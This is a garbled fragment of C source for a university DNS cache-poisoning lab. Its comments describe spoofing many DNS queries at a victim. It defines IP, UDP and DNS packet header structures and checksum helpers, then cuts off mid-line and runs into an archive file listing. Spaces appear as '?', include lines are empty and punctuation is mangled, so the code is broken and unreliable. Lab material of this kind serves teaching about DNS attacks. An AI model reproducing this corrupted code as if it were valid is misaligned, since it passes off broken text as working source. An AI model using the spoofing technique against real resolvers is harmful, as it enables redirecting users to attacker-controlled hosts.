//?----dns_request_demo.c------
//?This?sample?program?must?be?run?by?root?lol!
//?query
//?The?program?is?to?spoofing?tons?of?different?queries?to?the?victim.
//?Use?wireshark?to?study?the?packets.?However?it?is?not?enough?for
//?the?lab?please?finish?the?response?packet?and?complete?the?task.
//
//?Compile?command:
//?gcc?-lpcap?dns_request_demo.c?-o?dns_request_demo
//
//

#include?

#include?

#include?

#include?

#include?
#include?
#include?
#include?
#include?
#include?
//?The?packet?length

#define?PCKT_LEN?8192
#define?FLAG_R?0x8400
#define?FLAG_Q?0x0100



//?Can?create?separate?header?file?（.h）?for?all?headers‘?structure

//?The?IP?header‘s?structure

struct?ipheader
{

????unsigned?char??????iph_ihl:?4?iph_ver:?4;

????unsigned?char??????iph_tos;

????unsigned?short?int?iph_len;

????unsigned?short?int?iph_ident;

????//????unsigned?char??????iph_flag;

????unsigned?short?int?iph_offset;

????unsigned?char??????iph_ttl;

????unsigned?char??????iph_protocol;

????unsigned?short?int?iph_chksum;

????unsigned?int???????iph_sourceip;

????unsigned?int???????iph_destip;

};



//?UDP?header‘s?structure

struct?udpheader
{

????unsigned?short?int?udph_srcport;

????unsigned?short?int?udph_destport;

????unsigned?short?int?udph_len;

????unsigned?short?int?udph_chksum;

};
struct?dnsheader
{
????unsigned?short?int?query_id;
????unsigned?short?int?flags;
????unsigned?short?int?QDCOUNT;
????unsigned?short?int?ANCOUNT;
????unsigned?short?int?NSCOUNT;
????unsigned?short?int?ARCOUNT;
};
//?This?structure?just?for?convinience?in?the?DNS?packet?because?such?4?byte?data?often?appears.
struct?dataEnd
{
????unsigned?short?int??type;
????unsigned?short?int??class;
};
//?total?udp?header?length:?8?bytes?（=64?bits）
//?structure?to?hold?the?answer?end?section
struct?ansEnd
{
????//char*?name;
????unsigned?short?int?type;
????//char*?type;
????unsigned?short?int?class;
????//char*?class;
????//unsigned?int?ttl;
????unsigned?short?int?ttl_l;
????unsigned?short?int?ttl_h;
????unsigned?short?int?datalen;
};

//?structure?to?hold?the?authorative?nameserver?end?section
struct?nsEnd
{
????//char*?name;
????unsigned?short?int?type;
????unsigned?short?int?class;
????//unsigned?int?ttl;
????unsigned?short?int?ttl_l;
????unsigned?short?int?ttl_h;
????unsigned?short?int?datalen;
????//unsigned?int?ns;
};



unsigned?int?checksum（uint16_t?*usBuff?int?isize）
{
????unsigned?int?cksum?=?0;
????for（;?isize?>?1;?isize?-=?2）
????{
????????cksum?+=?*usBuff++;
????}
????if（isize?==?1）
????{
????????cksum?+=?*（uint16_t?*）usBuff;
????}


????return?（cksum）;
}

//?calculate?udp?checksum
uint16_t?check_udp_sum（uint8_t?*buffer?int?len）
{
????unsigned?long?sum?=?0;
????struct?ipheader?*tempI?=?（struct?ipheader?*）（buffer）;
????struct?udpheader?*tempH?=?（struct?udpheader?*）（buffer?+?sizeof（struct?ipheader））;
????struct?dnsheader?*tempD?=?（struct?dnsheader?*）（buffer?+?s

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2016-12-07?17:07??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\
?????文件?????????286??2016-12-07?00:56??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\db.attacker
?????文件?????????217??2016-12-07?00:54??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\example.com.db
?????文件???????18316??2016-12-07?11:12??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\Code\udp.c
?????文件?????2145650??2016-12-03?14:25??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\DNS_Remote.pdf
?????文件???????21914??2016-05-29?23:29??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\DNS_Remote_中文版.md
?????目錄???????????0??2016-12-07?17:10??遠(yuǎn)程DNS緩存攻擊__山東大學(xué)網(wǎng)絡(luò)攻防實(shí)驗(yàn)三__代碼與資源\